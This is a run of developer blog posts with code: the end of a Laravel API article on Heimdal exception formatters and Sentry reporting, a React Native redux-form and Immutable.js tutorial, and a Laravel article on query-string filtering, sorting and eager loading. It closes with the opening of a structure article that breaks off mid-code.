
Alright now, what about the HttpExceptionFormatter?

<?php

namespace Optimus\Heimdal\Formatters;

use Exception;
use Illuminate\Http\JsonResponse;
use Optimus\Heimdal\Formatters\ExceptionFormatter;

class HttpExceptionFormatter extends ExceptionFormatter
{
    public function format(JsonResponse $response, Exception $e, array $reporterResponses)
    {
        parent::format($response, $e, $reporterResponses);

        $response->setStatusCode($e->getStatusCode());
    }
}

Aha, so the base HttpExceptionFormatter is just adding the HTTP status code to the response but is otherwise exactly the same as ExceptionFormatter. Awesomesauce.

Let us try to add our own formatter. According to the HTTP specification a 401 response should include a challenge in the WWW-Authenticate header. This is currently not added by the Heimdal library (it will after this article), so let us create the formatter.

<?php

namespace Infrastructure\Exceptions;

use Exception;
use Illuminate\Http\JsonResponse;
use Optimus\Heimdal\Formatters\HttpExceptionFormatter;

class UnauthorizedHttpExceptionFormatter extends HttpExceptionFormatter
{
    public function format(JsonResponse $response, Exception $e, array $reporterResponses)
    {
        parent::format($response, $e, $reporterResponses);

        $response->headers->set('WWW-Authenticate', $e->getHeaders()['WWW-Authenticate']);

        return $response;
    }
}

Symfony's HttpException contains an header array that contains an WWW-Authenticate entry for all UnauthorizedHttpException. Next, we add the formatter to config/optimus.heimdal.php.

'formatters' => [
    SymfonyException\UnprocessableEntityHttpException::class => Formatters\UnprocessableEntityHttpExceptionFormatter::class,
    SymfonyException\UnauthorizedHttpException::class => Infrastructure\Exceptions\UnauthorizedHttpExceptionFormatter::class,
    SymfonyException\HttpException::class => Formatters\HttpExceptionFormatter::class,
    Exception::class => Formatters\ExceptionFormatter::class,
],

The important thing here is that the added entry is higher than HttpException so that it has precedence. Now when we throw an UnauthorizedHttpException in our code like this throw new UnauthorizedHttpException("challenge"); we get a response like below.

HTTP/1.0 401 Unauthorized
Content-Type: application/json
WWW-Authenticate: challenge
{"status":"error","code":0,"message":"","exception":"Symfony\Component\HttpKernel\Exception\UnauthorizedHttpException in [stack trace]","line":4,"file":"[file]"}

We can also add formatters for custom exceptions. Even though 418 I'm a teapot is a valid exception to throw when attempting to brew coffee with a teapot it currently has no implementation in the Symfony HttpKernel. So let us add it.

<?php

namespace Infrastructure\Exceptions;

use Symfony\Component\HttpKernel\Exception\HttpException;

class ImATeapotHttpException extends HttpException
{
    public function __construct(\Exception $previous = null, $code = 0)
    {
        parent::__construct(418, 'I\'m a teapot', $previous, [], $code);
    }
}

<?php

namespace Infrastructure\Exceptions;

use Exception;
use Illuminate\Http\JsonResponse;
use Optimus\Heimdal\Formatters\HttpExceptionFormatter;

class ImATeapotHttpExceptionFormatter extends HttpExceptionFormatter
{
    public function format(JsonResponse $response, Exception $e, array $reporterResponses)
    {
        parent::format($response, $e, $reporterResponses);

        $response->setData([
            'coffe_brewer' => 'http://ghk.h-cdn.co/assets/cm/15/11/320x320/55009368877e1-ghk-hamilton-beach-5-cup-coffeemaker-48136-s2.jpg',
            'teapot' => 'http://www.ikea.com/PIAimages/0282097_PE420125_S5.JPG'
        ]);

        return $response;
    }
}

'formatters' => [
    SymfonyException\UnprocessableEntityHttpException::class => Formatters\UnprocessableEntityHttpExceptionFormatter::class,
    SymfonyException\UnauthorizedHttpException::class => Infrastructure\Exceptions\UnauthorizedHttpExceptionFormatter::class,
    Infrastructure\Exceptions\ImATeapotHttpException::class => Infrastructure\Exceptions\ImATeapotHttpExceptionFormatter::class,
    SymfonyException\HttpException::class => Formatters\HttpExceptionFormatter::class,
    Exception::class => Formatters\ExceptionFormatter::class,
],

Now we throw the exception throw new ImATeapotHttpException(); we send images of coffee brewers and teapots to the consumer so they can learn the difference :-)

HTTP/1.0 401 I'm a teapot
Content-Type: application/json
{"coffe_brewer":"http:\/\/ghk.h-cdn.co\/assets\/cm\/15\/11\/320x320\/55009368877e1-ghk-hamilton-beach-5-cup-coffeemaker-48136-s2.jpg","teapot":"http:\/\/www.ikea.com\/PIAimages\/0282097_PE420125_S5.JPG"}

Send exceptions to external tracker using reporters

More often than not you want to send your exceptions to an external tracker service for better overview, handling etc. There are a lot of these but Heimdal has out of the box support for both Sentry and Bugsnag. The remainder of this article will show you how to integrate your exception handler with Sentry. For more information on reporters you can always refer to the documentation.

To add Sentry integration add the reporter to config/optimus.heimdal.php.

'reporters' => [
    'sentry' => [
        'class'  => \Optimus\Heimdal\Reporters\SentryReporter::class,
        'config' => [
            'dsn' => '[insert your DSN here]',
            // For extra options see https://docs.sentry.io/clients/php/config/
            // php version and environment are automatically added.
            'sentry_options' => []
        ]
    ]
],

That is it! Remember to fill out dsn. Now when an exception is thrown we can see it in our Sentry UI.

Pretty dope. But there is more. In Heimdal all reporters responses are added to an array which is the passed to all formatters. Sentry will return a unique ID for all exceptions logged. For instance, it may be that you want to display the specific exception ID to the user so they can hand it over to the technical support. Finding the error that an user claims have happened has never been easier. Let us see how it works.

<?php

namespace Infrastructure\Exceptions;

use Exception;
use Illuminate\Http\JsonResponse;
use Optimus\Heimdal\Formatters\ExceptionFormatter as BaseExceptionFormatter;

class ExceptionFormatter extends BaseExceptionFormatter
{
    public function format(JsonResponse $response, Exception $e, array $reporterResponses)
    {
        parent::format($response, $e, $reporterResponses);

        $response->setData(array_merge(
            (array) $response->getData(),
            ['sentry_id' => $reporterResponses['sentry']]
        ));

        return $response;
    }
}

Alright, so basically what we are trying to achieve is to create a new internal server error formatter, since we probably only want to log internal server errors to Sentry. The ID of the exception in Sentry can be found in the reporter responses array, so we just extend the base exception formatter to include this ID. Now our exceptions look like so.

HTTP/1.0 500 Internal server error
Content-Type: application/json
{"status":"error","code":0,"message":"Annoying error logged in Sentry.","exception":"Exception: Annoying error logged in Sentry. in [stack trace]","line":37,"file":"[file]","sentry_id":"e8987d63dba549a69c58b49feb2692f9"}

And we can find the exception by searching for the ID in Sentry.

If you want, it is really easy to add new reporters to Heimdal. Look at the code below to see just how simple the Sentry reporter implementation is.

<?php

namespace Optimus\Heimdal\Reporters;

use Exception;
use InvalidArgumentException;
use Raven_Client;
use Optimus\Heimdal\Reporters\ReporterInterface;

class SentryReporter implements ReporterInterface
{
    public function __construct(array $config)
    {
        if (!class_exists(Raven_Client::class)) {
            throw new InvalidArgumentException("Sentry client is not installed. Use composer require sentry/sentry.");
        }

        $this->raven = new Raven_Client($config['dsn'], $config['sentry_options']);
    }

    public function report(Exception $e)
    {
        return $this->raven->captureException($e);
    }
}

The current Sentry implementation is larger because it adds some options straight out of the box. However, the above would be a perfectly valid integration.

Conclusion

By installing Heimdal we very quickly get a good error handling system for our API. The important thing is that we provide enough information for our client so it can determine a corresponding action.

The full code to this article can be found here: larapi-part-3

All of these ideas and libraries are new and underdeveloped. Are you interested in helping out? Reach out on e-mail, twitter or the Larapi repository

Simple React Native forms with redux-form, immutable.js and styled-components

Fri, 06 Jan 2017 04:01:00 +0100

tl;dr

If you just want to see how you can use redux-form and immutable.js in react native, you can find the code for this article can be found right here.

Introduction

At Traede we use redux-form for creating forms that integrate well with redux. It is a fine library, however there are not many examples on how to make it work with React Native. So when I started playing around with React Native naturally I used redux-form for my form management and found it to be a bit difficult. Mostly because I found a bug that broke redux-form on native platform when using immutable.js. My PR has been released as of version 6.4.2. So I thought I would write a bit of documentation on how to use redux-form and immutable.js for form management based on my learnings along the way.

Agenda

The steps we will go through is...

See how redux-form differs on native vs. web in the most simple way
See how we can make it work using immutable.js
A more complete example using react-native-clean-form elements

Excited? Lets go..!

Using redux-form with React Native

If you are unfamiliar with redux-form I suggest you go read the Get Started documentation. Note this guide assumes that you are using redux-form version >=6.4.2. Otherwise, if you are using Immutable.js you are going to have issues with redux-form#2336. To create a form there are basically three steps:

Add the redux-form reducer to your redux store
Connect your form to the store using the reduxForm wrapper
Connect specific fields to the store using the Field wrapper

0. Create a React Native project

I am assuming you already have a React Native project ready to go. If not you can easily create one using react-native init MyReduxFormProject.

1. Add the redux-form reducer to your redux store

For this step, please consult the redux-form documentation.

2. Connect your form to the store using the redux-form wrapper

Okay, so let us start out with the simplest of forms and then connect that to redux-form. So, the code below will generate the screen on the right.

import React from 'react'
import {
  StyleSheet,
  Text,
  TextInput,
  TouchableOpacity,
  View
} from 'react-native'

const Form = props => {
  return (
    <View style={styles.container}>
      <Text>Email:</Text>
      <TextInput style={styles.input} />
      <TouchableOpacity>
        <Text style={styles.button}>Submit</Text>
      </TouchableOpacity>
    </View>
  )
}

export default Form

const styles = StyleSheet.create({
  button: {
    backgroundColor: 'blue',
    color: 'white',
    height: 30,
    lineHeight: 30,
    marginTop: 10,
    textAlign: 'center',
    width: 250
  },
  container: {

  },
  input: {
    borderColor: 'black',
    borderWidth: 1,
    height: 37,
    width: 250
  }
})

Alright, so we have our form and it already looks like a billion dollar app (unicorn alert). Next, we need to connect the form to the redux store using the reduxForm wrapper. This is because every key press in the form will send the value of the input field to store in the form. When we press the submit button redux-form will extract all the saved values from the store to a callback function we specify.

import { reduxForm } from 'redux-form'

const submit = values => {
  console.log('submitting form', values)
}

const Form = props => {
  const { handleSubmit } = props

  return (
    <View style={styles.container}>
      <Text>Email:</Text>
      <TextInput style={styles.input} />
      <TouchableOpacity onPress={handleSubmit(submit)}>
        <Text style={styles.button}>Submit</Text>
      </TouchableOpacity>
    </View>
  )
}

export default reduxForm({
  form: 'test'
})(Form)

NOTE: I left out the stylesheet declaration and the react-native imports for brevity.

Okay, so first of all we wrapped the form to connect it to the store using reduxForm. This is basically a modified version of react-redux's connect you are probably familiar with.

Next, we create our submit function using redux-form's handleSubmit (which reduxForm injects into our component). The submit function is attached to our submit button so when it is pressed the form is submitted. This is different from web development where the submit function is attached to a form element. On mobile platforms there is no form element so we attach it directly to the button. Or TouchableOpacity that is...

At this point try and run the code using a simulator. I also highly recommend using react-native-debugger as a debugger. You can also check out the React Native documentation on debugging for suggestions.

Either way, when you try and submit the form in the simulator you will see that our callback function provides empty values.

Yo, where my values?

3. Connect the form fields to the store using the Field wrapper

So the way redux-form works is that you have to connect each field to the store using another wrapper named Field.

import { Field, reduxForm } from 'redux-form'

const submit = values => {
  console.log('submitting form', values)
}

const renderInput = ({ input: { onChange, ...restInput }}) => {
  return <TextInput style={styles.input} onChangeText={onChange} {...restInput} />
}

const Form = props => {
  const { handleSubmit } = props

  return (
    <View style={styles.container}>
      <Text>Email:</Text>
      <Field name="email" component={renderInput} />
      <TouchableOpacity onPress={handleSubmit(submit)}>
        <Text style={styles.button}>Submit</Text>
      </TouchableOpacity>
    </View>
  )
}

export default reduxForm({
  form: 'test'
})(Form)

Note we add the Field component and give it a name prop, much similar to how the input field works in web development. We also add a render function that tells reduxForm how the field should be rendered (which is basically just a TextInput).

Now, this is where it gets tricky and what most people get wrong. So pay close attention. In web React an input component triggers an onChange callback when the value of the field changes. In React Native the TextInput callback is named onChangeText. To account for this we add the change handler manually onChangeText={onChange}.

Now when we submit our form it works! Awesomesauce.

Making it work using Immutable.js

If you are trendy and using Immutable.js for your state management then you need to take some extra steps to make redux-form work. I suggest you read the official documentation on using Immutable.js with redux-form. But we will also go through the steps right here.

1. Use redux-immutablejs combineReducers and the immutable version of redux-forms reducer

Quite the mouthful. Alright, find the place where you create your redux store.

import { combineReducers } from 'redux-immutablejs'
import { reducer as form } from 'redux-form/immutable' // <--- immutable import

const reducer = combineReducers({ form })

export default reducer

Two things here: (1) you must use combineReducers from a redux-immutable integration library such as redux-immutablejs or redux-immutable. The important thing here is that you import the reducer from redux-form/immutable and NOT redux-form.

2. Use immutable version of reduxForm wrapper and Field

Okay, so this step is similar to the first one. When you wrap a form in reduxForm to connect it to the redux store make sure you import from redux-form/immutable! Similarly, Field must also be imported from there!

import { Field, reduxForm } from 'redux-form/immutable' // <---- LOOK HERE

const submit = values => {
  console.log('submitting form', values.toJS()) <--- use toJS() to cast to plain object
}

const renderInput = ({ input: { onChange, ...restInput }}) => {
  return <TextInput style={styles.input} onChangeText={onChange} {...restInput} />
}

const Form = props => {
  const { handleSubmit } = props

  return (
    <View style={styles.container}>
      <Text>Email:</Text>
      <Field name="email" component={renderInput} />
      <TouchableOpacity onPress={handleSubmit(submit)}>
        <Text style={styles.button}>Submit</Text>
      </TouchableOpacity>
    </View>
  )
}

export default reduxForm({
  form: 'test'
})(Form)

3. Done!

That is it! Easy no? If you use a redux-version between 6.0.3 and 6.4.2 it will NOT WORK due to a regression introduced in 6.0.3.

Make it look like a billion dollar form using styled-components

Using the absolutely awesome React styling library styled-components I have created some redux-form integrated form elements that look a little bit better than our current iteration. The look is strongly inspired by this Dribble shot by Artyom Khamitov so all credit goes to him! You can find the source code for the elements here: esbenp/react-native-clean-form.

1st step: Install react-native-clean-form

Install the form elements using npm install --save react-native-clean-form. You also need to link the vector icon fonts to your app. Read more about how in the README.

2nd step: Design an awesome form

Looks dope, does it not? Lets dive right into the code.

import React, { Component } from 'react'
import {
  ActionsContainer,
  Button,
  FieldsContainer,
  Fieldset,
  Form,
  FormGroup,
  Label,
  Input,
  Select,
  Switch
} from 'react-native-clean-form'

const countryOptions = [
  {label: 'Denmark', value: 'DK'},
  {label: 'Germany', value: 'DE'},
  {label: 'United State', value: 'US'}
]

const FormView = props => (
  <Form>
    <FieldsContainer>
      <Fieldset label="Contact details">
        <FormGroup>
          <Label>First name</Label>
          <Input placeholder="John" />
        </FormGroup>
        <FormGroup>
          <Label>Last name</Label>
          <Input placeholder="Doe" />
        </FormGroup>
        <FormGroup>
          <Label>Phone</Label>
          <Input placeholder="+45 88 88 88 88" />
        </FormGroup>
        <FormGroup>
          <Label>First name</Label>
          <Input placeholder="John" />
        </FormGroup>
      </Fieldset>
      <Fieldset label="Shipping details" last>
        <FormGroup>
          <Label>Address</Label>
          <Input placeholder="Hejrevej 33" />
        </FormGroup>
        <FormGroup>
          <Label>City</Label>
          <Input placeholder="Copenhagen" />
        </FormGroup>
        <FormGroup>
          <Label>ZIP Code</Label>
          <Input placeholder="2400" />
        </FormGroup>
        <FormGroup>
          <Label>Country</Label>
          <Select
              name="country"
              label="Country"
              options={countryOptions}
              placeholder="Denmark"
          />
        </FormGroup>
        <FormGroup border={false}>
          <Label>Save my details</Label>
          <Switch />
        </FormGroup>
      </Fieldset>
    </FieldsContainer>
    <ActionsContainer>
      <Button icon="md-checkmark" iconPlacement="right">Save</Button>
    </ActionsContainer>
  </Form>
)

export default FormView

If you are familiar with Twitter Bootstrap you can probably recognize some of the elements as react-native-clean-form strive to have a similar syntax. Alright, to connect it to redux-form we just have to import Input, Select and Switch from react-native-clean-form/redux-form or react-native-clean-form/redux-form-immutable. Here the elements are already wrapped in FormGroup and Label is added. Thereby we support validation feedback seen in the middle screenshot.

import React, { Component } from 'react'
import { reduxForm } from 'redux-form/immutable'
import {
  ActionsContainer,
  Button,
  FieldsContainer,
  Fieldset,
  Form
} from 'react-native-clean-form'
import {
  Input,
  Select,
  Switch
} from 'react-native-clean-form/redux-form-immutable'
import { View,Text } from 'react-native'

const onSubmit = (values, dispatch) => {
  return new Promise((resolve) => {
    setTimeout(() => {
      console.log(values.toJS())
      resolve()
    }, 1500)
  })
}

const countryOptions = [
  {label: 'Denmark', value: 'DK'},
  {label: 'Germany', value: 'DE'},
  {label: 'United State', value: 'US'}
]

class FormView extends Component {
  render() {
    const { handleSubmit, submitting } = this.props

    return (
      <Form>
        <FieldsContainer>
          <Fieldset label="Contact details">
            <Input name="first_name" label="First name" placeholder="John" />
            <Input name="last_name" label="Last name" placeholder="Doe" />
            <Input name="email" label="Email" placeholder="something@domain.com" />
            <Input name="telephone" label="Phone" placeholder="+45 88 88 88 88" />
          </Fieldset>
          <Fieldset label="Shipping details" last>
            <Input name="address" label="Address" placeholder="Hejrevej 33" />
            <Input name="city" label="City" placeholder="Copenhagen" />
            <Input name="zip" label="ZIP Code" placeholder="2400" />
            <Select
              name="country"
              label="Country"
              options={countryOptions}
              placeholder="Denmark"
            />
            <Switch label="Save my details" border={false} name="save_details" />
          </Fieldset>
        </FieldsContainer>
        <ActionsContainer>
          <Button icon="md-checkmark" iconPlacement="right" onPress={handleSubmit(onSubmit)} submitting={submitting}>Save</Button>
        </ActionsContainer>
      </Form>
    )
  }
}

export default reduxForm({
  form: 'Form',
  validate: values => {
    const errors = {}

    values = values.toJS()

    if (!values.first_name) {
      errors.first_name = 'First name is required.'
    }

    if (!values.last_name) {
      errors.last_name = 'Last name is required.'
    }

    if (!values.email) {
      errors.email = 'Email is required.'
    }

    return errors
  }
})(FormView)

Easy, right?! Now we have a good looking form connected to the store with validation support and async button feedback. You can check out more of the features in the repository.

Conclusion

Reach out on e-mail, twitter or the repository for this article.

A modern REST API in Laravel 5 Part 2: Resource controls

Fri, 15 Apr 2016 18:19:00 +0200

tl;dr

Optimus\Bruno will enable you to filter, paginate, sort and eager load related resources through query string parameters. Optimus\Architect will enable the consumer to decide how the eager loaded related resources should be structured. Lastly, Optimus\Genie provides a quick integrated way to implement the two libraries without having to add a lot of new code.

The full code to this article can be found here: larapi-series-part-2

Introduction

All to often API developers do not give much thought into how it is to work with their APIs for a consumer. This article will give some very useful tips as to how you can make it much more flexible to work with for client developers. This is going to simplify development for both you and your front-end devs.

Agenda

In this article I will take you through...

How you can enable consumers to automatically eager load related resources
How you can give consumers controls like filters, pagination and sorting
How you can enable consumers to decide how eager loaded related resources should be returned using data composition

Excited? Lets go..!

The challenge

If you have ever experienced developing a client that uses an API you have probably encountered the problem we will try to solve in this part of our journey for a modern REST API in Laravel 5. When developing a client you will often need different parts of the same data for different scenarios.

Imagine having two resources: /users and /roles. A user can have many roles: users 1 ----> n roles. Now assume that you are tasked with designing two things:

A table list of all users and the name of their role
A dropdown of all users with the role named 'Agent'

Let us try to think about these views one at a time and the data they would need.

User table list

Okay, so this would be a table that lists all users on the site. Now, we want to display all the roles that is attached to each user in the list.

The data we would need to do so would be the role name of all the roles. Something along these lines.

[
  {
    "id": 1,
    "active": true,
    "name": "Katrine Elbek",
    "email": "demo.kat@traede.com",
    "roles": [
      {
        "name": "Administrator"
      }
    ]
  },
  {
    "id": 2,
    "active": true,
    "name": "Katrine Obling",
    "email": "demo.agent@traede.com",
    "roles": [
      {
        "name": "Agent"
      }
    ]
  },
  {
    "id": 3,
    "active": true,
    "name": "Yvonne",
    "email": "demo.lone@traede.com",
    "roles": [
      {
        "name": "Administrator"
      }
    ]
  }
]

So this is a dropdown for selecting the ID of a user that has the role "Agent".

So we need a filtered version of the user data that only has agents in it. Like so:

[
  {
    "id": 2,
    "name": "Katrine Obling",
    "email": "demo.agent@traede.com"
  }
]

Note here that we do not actually need the roles array of the user. Because we are not displaying any of this data in the view.

Planning the endpoints

Okay, so we now know the data that we will eventually need to construct the two views. Let us just summarize them here.

Table list

[
  {
    "id": 1,
    "active": true,
    "name": "Katrine Elbek",
    "email": "demo.kat@traede.com",
    "roles": [
      {
        "name": "Administrator"
      }
    ]
  },
  {
    "id": 2,
    "active": true,
    "name": "Katrine Obling",
    "email": "demo.agent@traede.com",
    "roles": [
      {
        "name": "Agent"
      }
    ]
  },
  {
    "id": 3,
    "active": true,
    "name": "Yvonne",
    "email": "demo.lone@traede.com",
    "roles": [
      {
        "name": "Administrator"
      }
    ]
  }
]

Agent user dropdown

[
  {
    "id": 2,
    "name": "Katrine Obling",
    "email": "demo.agent@traede.com"
  }
]

Now, one of the first questions we could ask ourselves could be: for the second data set, do we want to filter the users in the API or in the client? Let us just imagine for a second that the endpoint /users always returns the top data set. Then to get all the agents in javascript view we could simply use a filter function.

let agents = users
              .map((user) => {
                  user.roleNames = user.roles.map((role) => role.name)
                  return user;
              })
              .filter((user) => user.roleNames.indexOf('Agent') !== -1)

So, it is pretty simple to actually get all the agents out of the data set. However, this code does have a few risks.

What happens if the underlying data model of the API changes? Imagine if the Agent role name changed to Super-Agent. Then we would not get the agents any more since we are looking specifically for roles named 'Agent'. What if the name property changed to title? I know these are all contrived examples, however they do demonstrate the risks of relying to heavily on the client to do these sort of things.

Would it not be much better if the client could simply request all the agents from the API?

And what about our users list: do we always want to load the roles whenever we are requesting the users? What about in a situation where we just want the users, but not their roles? Assuming the underlying database model is a relational is it not highly inefficient to load the roles when they are not needed?

Given these goals we can quickly sum up a list of requirements:

We want to be able to load users without their roles
We want to be able to load users with their roles
We want to be able to load users that have the agent role

Let us look at the different strategies we can implement to achieve this.

The bad one: make an endpoint for each data set

One solution could be to simply make an endpoint per type of dataset.

/users returns users without their roles
/users/with-roles returns users with their roles
/users/agents returns users that are agents

Hopefully I do not have to spend to much time explaining why this is a bad idea. When having so many different endpoints for the same underlying data it becomes a real pain in the a$$™ to maintain. Whenever something has to change it will often result in an eksponential amount of changes elsewhere.

The better solution: resource controls

Would it not be so much nicer if we could just do:

/users returns users without their roles
/users?includes[]=roles returns users with their roles
/users?filters[]=isAgent:1 returns users that are agents

Now we not only use the same endpoint but use query strings to filter and manipulate the data we need.

Implementation

To implement this I have written a small library: Bruno. To find more details about this library and its features you can read its README.

So assume we have the application in place and we have a User model and a Role model. With a relation like so User 1 ----> n Role. Then we can write a controller that looks like this:

<?php

namespace App\Http\Controllers;

use Optimus\Api\Controller\EloquentBuilderTrait;
use Optimus\Api\Controller\LaravelController;
use App\Models\User;

class UserController extends LaravelController
{
    use EloquentBuilderTrait;

    public function getUsers()
    {
        // Parse the resource options given by GET parameters
        $resourceOptions = $this->parseResourceOptions();

        // Start a new query for books using Eloquent query builder
        // (This would normally live somewhere else, e.g. in a Repository)
        $query = User::query();
        $this->applyResourceOptions($query, $resourceOptions);
        $books = $query->get();

        // Parse the data using Optimus\Architect
        $parsedData = $this->parseData($books, $resourceOptions, 'users');

        // Create JSON response of parsed data
        return $this->response($parsedData);
    }
}

A few things are going on here which are worth to notice.

// Parse the resource options given by GET parameters
$resourceOptions = $this->parseResourceOptions();

parseResourceOptions is a method of the base controller that will read our query strings (?includes[]=roles and ?filters[]=isAgent:1) into a format that we can use.

$this->applyResourceOptions($query, $resourceOptions);

This is the method that will apply our different resource controls to the Eloquent query builder. In the case of ?includes[]=roles it will run something like $query->with('roles') behind the scenes.

It is important to note that applyResourceOptions is part of the EloquentBuilderTrait that we include in our controller. Why is this not a standard part of the base controller class? Because database logic should not be written in our controllers :-)

Making filters work

So, I may have oversold the syntax of filters a little bit. ?filters[]=isAgent:1 sounded a little to good to be true, right? Actually, the reason the filter syntax is a bit more complex is because it contains a lot of cool functionality.

{
  "filter_groups": [
    {
      "filters": [
        {
          "key": "isAgent",
          "value": true,
          "operator": "eq"
        }
      ]
    }
  ]
}

The actual syntax of filters.

You can do a lot more cool stuff with filters, and I suggest you check out the syntax in the Bruno repository.

The short version is that you can define several filter groups. Each filter group can contain many filters using operators such as eq (equals), sw (starts with), lt (less than), in and more. Think of each filter group as a parenthesis grouping in an if-statement. So for instance this example

{
  "filter_groups": [
    {
      "or": true,
      "filters": [
        {
          "key": "email",
          "value": "@gmail.com",
          "operator": "ew"
        },
        {
          "key": "email",
          "value": "@hotmail.com",
          "operator": "ew"
        }
      ]
    },
    {
      "filters": [
        {
          "key": "name",
          "value": ["Stan", "Eric", "Kyle", "Kenny"],
          "operator": "in"
        }
      ]
    }
  ]
}

If thought of as an if-statement would look like

if (
  (endsWith('@gmail.com', $email) || endsWith('@hotmail.com', $email)) &&
  in_array($name, ['Stan', 'Eric', 'Kyle', 'Kenny'])
) {
 // return user
}

endsWith is a fictitious function

So the query will return all users whoose email ends with either @gmail.com or @hotmail.com and whoose name is either Stan, Eric, Kyle or Kenny. Cool, yeah?

Anywho, enough syntax. Let us make the 'isAgent' filter work. First of all remember to send the correct data with the request. Instead of ?filters[]=isAgent:1 the data is now

{
  "filter_groups": [
    {
      "filters": [
        {
          "key": "isAgent",
          "value": true,
          "operator": "eq"
        }
      ]
    }
  ]
}

Or as query string

?filter_groups%5B0%5D%5Bfilters%5D%5B0%5D%5Bkey%5D=isAgent&filter_groups%5B0%5D%5Bfilters%5D%5B0%5D%5Bvalue%5D=true&filter_groups%5B0%5D%5Bfilters%5D%5B0%5D%5Boperator%5D=eq

Most AJAX libraries will automatically convert the JSON data to a query string on GET requests, so you really do not need to be a query string syntax wizard. jQuery even has the function $.param which can do it for you.

The next thing we must do to make it work is to implement a custom filter. This is because there is no isAgent property on our User model. So when the controller applies our filter to the Eloquent query builder it will try to execute $query->where('isAgent', true) which will throw an error (since the column does not exist). Luckily the controller will look for custom filter methods: so let us implement that!

public function filterIsAgent(Builder $query, $method, $clauseOperator, $value, $in)
{
    // check if value is true
    if ($value) {
        $query->whereIn('roles.name', ['Agent']);
    }
}

Add this method to our UserController and we are almost done. There is just one more thing. Whenever we are making a custom filter method the system will try to look for a relationship on the Eloquent model to join. That means in this case it will try to find a isAgent relationship on the model. This probably does not exist, but there does exist a relationship named roles. So we overcome this by adding the isAgent relationship to the model.

public function isAgent()
{
    return $this->roles();
}

Making it work with Larapi

So the above example is just a quick and dirty demonstration of how you can use Laravel controller to get resource controls. However, since we are doing a series on creating a Laravel API with my API-friendly Laravel fork let us see how this example would look using the API structure we laid out in part 1.

The controller

In UserController.php the method for GET /users should be defined like

public function getAll()
{
    $resourceOptions = $this->parseResourceOptions();

    $data = $this->userService->getAll($resourceOptions);
    $parsedData = $this->parseData($data, $resourceOptions, 'users');

    return $this->response($parsedData);
}

So we pass along the resource control options to the service so it can pass it along to the repository. If your repositories extend my Eloquent repository base class Genie it will already have the helper functions build-in needed to use the resource options.

The service

In the user service class, UserService.php, add the method to get users.

public function getAll($options = [])
{
    return $this->userRepository->get($options);
}

The get method of the repository is build into the previously mentioned repository base class, so we do not even need to implement it.

The repository

Even though the get method is already implemented in the repository base class, we still need to implement the custom isAgent filter.

<?php

namespace Api\Users\Repositories;

use Infrastructure\Database\Eloquent\Repository;

class UserRepository extends Repository
{
    public function filterIsAgent(Builder $query, $method, $clauseOperator, $value, $in)
    {
        // check if value is true
        if ($value) {
            $query->whereIn('roles.name', ['Agent']);
        }
    }
}

The model

Lastly, we need to make sure the User model can join the isAgent relationship. Add the following relationship to the model.

public function isAgent()
{
    return $this->roles();
}

That is it

Yeah there is really nothing more to it. Now the GET /users endpoint has support for filtering, eager loading, pagination and sorting. Plus data structure composition.

Data structure composition?!

If you remember in our UserController we have the following line.

// Parse the data using Optimus\Architect
$parsedData = $this->parseData($books, $resourceOptions, 'users');

So what the heck is Optimus\Architect? It is a library we can use to define the composition of eager loaded relationships. Easier to explain by example. Imagine this user data:

GET /users?includes[]=roles

{
  "users": [
    {
      "id": 1,
      "active": true,
      "name": "Katrine Elbek",
      "email": "demo.kat@traede.com",
      "roles": [
        {
          "id": 1,
          "name": "Administrator"
        }
      ]
    },
    {
      "id": 2,
      "active": true,
      "name": "Katrine Obling",
      "email": "demo.agent@traede.com",
      "roles": [
        {
          "id": 2,
          "name": "Agent"
        }
      ]
    },
    {
      "id": 3,
      "active": true,
      "name": "Yvonne",
      "email": "demo.lone@traede.com",
      "roles": [
        {
          "id": 1,
          "name": "Administrator"
        }
      ]
    }
  ]
}

This data is loaded with the embedded mode, meaning that relationships of resources are nested within. In this case it would be that inside each User is a embedded collection of its Roles. This is the default way to load relationships with Eloquent. Let us check out some other modes.

GET /users?includes[]=roles:ids

{
  "users": [
    {
      "id": 1,
      "active": true,
      "name": "Katrine Elbek",
      "email": "demo.kat@traede.com",
      "roles": [1]
    },
    {
      "id": 2,
      "active": true,
      "name": "Katrine Obling",
      "email": "demo.agent@traede.com",
      "roles": [2]
    },
    {
      "id": 3,
      "active": true,
      "name": "Yvonne",
      "email": "demo.lone@traede.com",
      "roles": [1]
    }
  ]
}

In the ids mode Architect will simply return the primary key of the related model.

GET /users?includes[]=roles:sideload

{
  "users": [
    {
      "id": 1,
      "active": true,
      "name": "Katrine Elbek",
      "email": "demo.kat@traede.com",
      "roles": [1]
    },
    {
      "id": 2,
      "active": true,
      "name": "Katrine Obling",
      "email": "demo.agent@traede.com",
      "roles": [2]
    },
    {
      "id": 3,
      "active": true,
      "name": "Yvonne",
      "email": "demo.lone@traede.com",
      "roles": [1]
    }
  ],
  "roles": [
    {
      "id": 1,
      "name": "Administrator"
    },
    {
      "id": 2,
      "name": "Agent"
    }
  ]
}

In the last mode sideload all the embedded relationships are hoisted into its own collection at the root level. This removes duplicated entries of the embedded mode and can result in smaller responses.

Conclusion

To really build a good and useful API one most think about the consumers of it. Think of it like a business: your customers should love your product. One of the things that makes it a hell to build a client to an API is when the API does not offer flexibility in the returned data set. What related resources should be included (and how)? Sorting, filtering, pagination is all essential when building stuff like lists and data tables (the bread and butter of any SaaS application).

By implementing a few simple libraries like Optimus\Architect, Optimus\Bruno and Optimus\Genie you can rapidly create resources that scale well and easily grant your consumers the flexibility they need whilst keeping your own development flow sane.

The full code to this article can be found here: larapi-series-part-2

All of these ideas and libraries are new and underdeveloped. Are you interested in helping out? Reach out on e-mail, twitter or the Larapi repository

A modern REST API in Laravel 5 Part 1: Structure

Mon, 11 Apr 2016 17:04:00 +0200

tl;dr

This article will demonstrate how to separate your Laravel project into "folders-by-component" rather than "folders-by-type". Confused? See the example here or the library here.

Introduction

Over time when your API grows in size it also grows in complexity. Many moving parts work together in order for it to function. If you do not employ a scaleable structure you will have a hard time maintaining your API. New additions will cause side effects and breakage in other places etc.

It is important to realize in software development no singular structure is the mother of all structures. It is important to build a toolbox of patterns which you can employ given different situations. This article will serve as an opinionated piece on how such a structure could look. It has enabled my team and I to keep building features without introducing (too many :-)) breakages. For me, the structure I am about to show you works well right now, however it might well be that we refactor into a new one tomorrow. With that said, I hope you will find inspiration in what I am about to show you. :-)

Agenda

We will take a look at structure on three different levels.

Application flow pattern
Project folder structure
Resource folder structure

Level 1: Application flow pattern

Too make our project more scalable it is always a good idea to separate our code base into smaller chunks. I have seen plenty of Laravel projects where everything is written inside controller classes: authentication, input handling, authorization, data manipulation, database operations, response creation etc. Imagine something like this...

class UserController extends Controller
{
